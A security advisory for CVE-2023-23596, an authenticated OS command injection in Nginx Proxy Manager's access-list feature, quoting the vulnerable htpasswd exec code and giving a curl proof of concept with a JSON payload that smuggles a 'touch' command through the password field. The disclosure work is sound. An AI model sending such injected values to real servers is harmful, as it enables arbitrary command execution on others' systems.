CVE-2023-23596: OS Command Injection in Nginx Proxy Manager
Description
Nginx Proxy Manager prior to version <= 2.9.19 is vulnerable to OS command injection. When creating an access list, the back-end will build an htpasswd
file with crafted username and/or password input and concatenated without any validation and is directly passed to the exec
command, potentially allowing an authenticated attacker to execute arbitrary commands on the system.
Details
Building Access file
File /backend/internal/access-list.js:507-513
:
// ...
if (typeof item.password !== 'undefined' && item.password.length) {
logger.info('Adding: ' + item.username);
utils.exec('/usr/bin/htpasswd -b "' + htpasswd_file + '" "' + item.username + '" "' + item.password + '"')
.then((/*result*/) => {
next();
})
// ...
The vulnerability in the code snippet above is located in the build method, where the utils.exec()
function is used to execute the /usr/bin/htpasswd
command. The function takes item.username and item.password as input, which is concatenated to create an htpasswd file & passed as an argument to the utils.exec()
function. This allows an attacker to inject arbitrary commands into the input, potentially allowing them to execute arbitrary commands on the system.
Proof of Concept
This proof of concept demonstrates how an attacker can exploit this vulnerability. It uses a curl
command to send a POST request to the `/api/nginx/access-lists` endpoint for creating an access list.
$ curl -sX POST http://TARGET.HOST/api/nginx/access-lists \
> -H "Authorization: Bearer ${JWT}" \
> --data-binary "@payload.json"
The request includes a JSON Web Token (JWT) in the “Authorization” header to authenticate the request, and the payload of the request is taken from a payload.json
file, which contains the JSON data for creating an access list, including the name of the list, the type of access control, and an array of items.
{
"name": "lorem-ipsum",
"satisfy_any": false,
"pass_auth": false,
"items": [
{
"username": "foo",
"password": "bar\";touch \"pwned"
}
],
"clients": []
}
In this example, the payload includes a single item with a username of “foo” and a password of “bar”;touch “pwned”. When the request is sent, the server-side code will process the payload, and will insert the payload’s username
and password
into the htpasswd
command without any validation. This payload contains a malicious command, touch “pwned”, which will create an empty pwned
file, and will be executed by the server.
Impact
By injecting arbitrary commands into the htpasswd
command, an attacker can execute arbitrary commands on the server.
Timeline
- 20 May 2022: Vulnerability reported thru huntr.dev platform.
- 21 May 2022: The huntr team filed open issue to request security contact.
- 17 Sep 2022: Report staled.
- 14 Jan 2023: Request a CVE ID to MITRE CNA.
- 15 Jan 2023: CVE-2023-23596 was assigned.
- 20 Jan 2023: Advisory published.